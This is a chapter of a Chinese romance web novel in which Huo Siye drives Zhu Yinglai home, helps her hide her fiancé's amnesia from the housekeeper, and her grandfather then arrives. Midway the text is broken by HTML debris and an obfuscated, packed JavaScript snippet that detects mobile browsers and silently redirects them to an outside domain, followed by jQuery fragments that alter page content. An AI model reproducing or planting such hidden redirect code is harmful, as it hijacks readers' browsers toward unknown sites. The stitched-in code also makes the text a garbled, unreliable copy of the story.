“公主”这个称呼源于他们童年时期玩的一场过家家。
她扮公主,霍延扮王子,霍斯也扮公主的骑士。
游戏过程中,霍斯也就叫她公主,后来游戏结束了,日常生活中碰见,霍斯也时不时还这么叫。
左右算个美称,极大满足了当时还是小女生的她的虚荣心,霍斯也要叫,她就随他叫。
再后来,霍斯也出国读书,他们的生活变得少有交集。
霍家两派的关系逐渐恶化,她和霍延的关系越来越亲近,霍斯也对她这个跟亲疏程度不符合的称呼也像带了刺,总让祝莺来感觉到一种嘲弄意味。
比如现在。
祝莺来直直迎上霍斯也的目光,眉心微蹙,语气不满:“你能不能别再叫我公主了。”
霍斯也“哦”了一声,反问:“为什么?”
祝莺来嘀嘀咕咕:“阴阳怪气的,感觉你在骂我。”
“想给我扣帽子也给我换一顶轻点的好吗。”霍斯也轻呵一声,“我颈椎还有用。”
“……”
霍斯也这张嘴巴一向厉害,祝莺来可说不过他,懒得白费功夫。
她偏头把安全带拉出来,一看卡扣的位置,出声提醒霍斯也:“挪挪位,你挡着我了。”
霍斯也没动:“刚才不是还要下车吗?”
没完没了还。
祝莺来深呼一口气,转换思路,挤出一个甜美的假笑:“不下了,既然小叔都盛情挽留我了,我就赏脸坐一坐小叔的车好了。”
霍斯也闻言挑了挑眉:“我盛情挽留你?”
祝莺来伸出手,纤细白皙的食指点了点落锁的车把门,意有所指:“还不够盛情吗?”
霍斯也的视线随着祝莺来的手移动,看了几秒退回驾驶座,倒没拆她台:“好,多谢公主赏脸。”
劳斯莱斯重新发动。
霍延家别墅在后视镜里逐渐变成一个小点,直到路口转弯,小点也完全消失在视野中。
祝莺来失神地望着窗外,一言不发。
霍斯也把车内暖气调高了两度,还打开了手套箱下面不常用的出风口。算上这个和副驾面前的两个出风口,不同方向的暖气都吹向祝莺来的身体。
外面的雪越下越大,祝莺来之前在冷风久站的体温却在快速回暖,被冻成板砖的手机也能重新开机了。
一开机就进来好几通未接来电,全部来自于北京家里的管家——苏姨。
祝莺来正要回拨,苏姨先打过来了。
一接起来,那边传来苏姨着急的声音:“我的小祖宗欸,你终于接电话了!手机怎么还关机了,再打不通我要报警了!”
祝莺来安抚她:“天太冷冻关机了,我没事。”
苏姨松了口气:“没事就好,你最近出门都不带司机,万一在外面又有个好歹,大家非得急坏了不可。”
祝莺来小时候被绑架过,哪怕现在长大了,她一个人出门,家里的人还是心有余悸。
她不觉得苏姨大惊小怪,只是再次温声安抚:“别担心了苏姨,我好好的,一会儿就到家了。”
“好好好。”苏姨语气关切,“我看外面下好大的雪,怕你打不到车,想让司机去接你来着。”
“不用,我已经打到车了。”
“车牌号发我一下。”
祝莺来一瞬间卡壳。
霍延失忆的事情,她没敢让老爷子知道。
北京家里的佣人、管家和司机,全是老爷子一手安排的,她在北京有什么风吹草动都会传到老爷子耳朵里。
为了瞒住霍延失忆的事情,她这阵子出门都是以工作为借口,也不用家里的司机,而是自己打车。
眼下苏姨突然问起……
祝莺来一想到霍斯也的连号车牌就两眼一黑。
这跟报他身份证有什么区别。
祝莺来犹豫几秒也没找到合适的借口,苏姨在那边追问:“大小姐?听得见我说话吗?”
“嗯……”祝莺来的手指在裙摆上不安地划来划去,脑子飞快运转,支支吾吾什么也说不出来。
她真的太不擅长说谎了。
这时候,祝莺来感觉正在行驶的车停了下来。
一只骨节分明的手从驾驶座伸过来,细长的指节在她眼前勾了勾。
祝莺来疑惑地看过去,霍斯也无声地对她说了四个字:手机给我。
“车牌号发我一下,大小姐。”苏姨还在电话那头催促。
情急之下,祝莺来竟然乖乖地把手机递给了霍斯也。
霍斯也接过手机,从容地跟苏姨打招呼:“苏姨。”
“是我,霍斯也。”
“昨天回北京的。”
“对,鸟鸟跟我在一起,路上碰见了。”
“不客气,苏姨,我也正好要回金茂一趟,顺路的事。”
“好,先这样,一会儿见。”
电话挂断,霍斯也把手机还给祝莺来:“搞定了。”
祝莺来怔怔接过,过了几秒,由衷地说:“谢谢你。”
“你在撒谎这方面还是那么拙劣。”霍斯扯了扯唇,“这么勉强自己做不擅长的事情,为什么?”
祝莺来不知道怎么回答。
她和霍延现在的关系,连她自己都觉得乱如麻。
可是她还在怀揣侥幸,想着瞒一瞒,等之后霍延恢复记忆,一切都会回到正轨。
这种侥幸心理她没办法对霍斯也吐露。
被霍延打翻的中药汤渍还在霍斯也的裤子上,那仿佛是她在恋爱关系里难堪的证明。
“……没什么。”祝莺来偏过头,吸了吸鼻子,声音闷闷的。
霍斯也从扶手箱抽了两张卫生纸递给祝莺来:“瞒这么辛苦,不就是怕你姥爷知道霍延失忆的事情。”
“老爷子最疼你,要是知道霍延把你给忘了,还这么对你……”霍斯也“啧”了一声,“火山爆发都不为过。”
祝莺来接过纸巾,小声嘟哝:“知道你还问。”
霍斯也脸上的笑意变淡,声音轻不可闻,近乎自言自语:“是啊,知道我还问。”
祝莺来没听清,瓮声瓮气地问:“你说什么?”
“没什么。”
霍斯也继续开车,他这次打开了车载电台。
舒缓的古典乐在车厢流淌,接下来这一路谁也没再开口说话。
一个多小时后,劳斯莱斯开进金茂公馆。
金茂公馆是北京的老牌顶豪别墅区,位于朝阳公园东岸,地处CBD北端,毗邻繁华都市,闹中取静。
这个区域的土地几乎绝版,金茂公馆的房源稀缺,房价比西城区的顶级学区房还高,业主大多来自京圈的老钱家族。
当年金茂公馆一开盘,祝老爷子就颇有前瞻性地购置了一套房产,后来祝莺来一出生就落户在这里,生活在人大附中的学区,从幼儿园就享受优秀的教育资源。
同样有前瞻性的还有霍斯也和霍延的父亲,他们三家也因此做了邻居。
不过,五年前霍延家的生意出问题赔了钱,金茂的别墅被银行收走抵债后,他们家从朝阳搬到了通州。
苏姨算着时间在别墅外面等,一看霍斯也的车开过来就迎了上去。
短暂的寒暄过后,霍斯也准备开车离开。
祝莺来突然想起什么,走回去敲了敲副驾的车窗。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598361|171944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
车窗降下,霍斯也偏头看过来。
祝莺来微微弯腰,低声同他讲:“那碗中药是你替我档的,你这条裤子该我赔,我一会儿折现转你微信,你收一下。”
霍斯也听完淡声问:“是你赔我,还是你替霍延赔我?”
祝莺来愣了愣,没太懂:“有区别么?”不都是赔。
“当然有。”霍斯也眉眼变得疏冷,浮着一层让人琢磨不透的郁色,“你和霍延又没领证,现在就以夫妇一体的姿态自居,不觉得太早了吗?”
夫妇一体?
祝莺来莫名道:“我没那个意思。”
“那你还问我有没有区别。”
祝莺来词穷了几秒,最后都无奈了:“ok,你逻辑满分,我甘拜下风。”
“是我赔你的,这样可以吗?”
霍斯也眉眼间的郁色散去不少:“可以。”
祝莺来刚挺腰站直,又听见:“不过我不接受转账。”
“一起去店里买,我挑,你付款。”
半生不熟的关系,祝莺来不太情愿,她找了个合理借口婉拒:“你自己买了找我报销吧,我们都挺忙的,时间可能碰不上。”
“我明天就有空。”霍斯也看着祝莺来,“你呢?”
祝莺来刚想说自己没空,霍斯也直接把她这话堵死了:“你说的忙该不会是继续去给霍延端茶倒水最后收获一句‘滚出去’吧?”
“……”
扎心如果按等级高低来判刑,霍斯也不判死刑也判无期了。
祝莺来放弃挣扎:“明天几点?”
“午饭过后我来接你,下午一点?”
“行。”
当天晚上睡觉前,祝莺来把半个月来设置的早起闹钟关了。
这段时间她不仅要忙工作,还为霍延的病情奔波,天天早出晚归。
明天周末,又不用去霍延家,也就没必要早起了。
次日睡到自然醒,一看时间快到中午了,下午要陪霍斯也出门买裤子,祝莺来赶紧起床洗漱,然后下楼吃饭。
从电梯里出来,祝莺来往餐厅走,边走边问:“苏姨,中午吃什么呀?”
“蓝鳍金枪鱼刺身,避风塘帝王蟹,还有黄鱼花胶羹。”
回答她的并不是苏姨,而是——
“姥爷?”祝莺来停下脚步,等看清坐在客厅沙发喝茶的人后,眼睛一亮,整个人肉眼可见的雀跃,“姥爷!”
沙发上端坐着一位精神矍铄的老人,身姿挺拔,脊背硬朗。
老人穿着一身中山装,脖子上戴着一根粗粗的黄金古巴链,链条上还挂着一个同材质的龙头吊坠,链身和龙头闪烁着璀璨耀眼的金色光泽。
鬓角的白发是岁月在他身上留下痕迹的象征,但这些痕迹丝毫没有削减他身上与生俱来的霸气,单单坐在那里就像港片里金盆洗手黑白通吃的社团老大哥。
祝莺来激动地跑过去,坐在老人身边,亲昵地挽住他的胳膊:“你怎么来北京了?都不提前跟我说,我好去接你嘛。”
“哎,这不是想给我的小乖宝一个惊喜吗。”
一跟祝莺来说话,老人身上凶神恶煞的气质就消散了,取而代之的是慈爱和喜悦。
祝烈义捏捏祝莺来的脸,仔细打量她之后,眉心微蹙:“半个月瘦了一圈,发生了什么事?”
祝莺来心虚目移,笑着打哈哈:“没事啊,就是工作有点忙啦,上次你见我的时候我有点水肿,现在水肿消了,所以显得人瘦了。”
祝烈义叹了口气,见不得外孙女这么逞强,开门见山地问:“霍延的事情你还打算瞒姥爷多久?”
祝莺来的笑意倏地僵在脸上。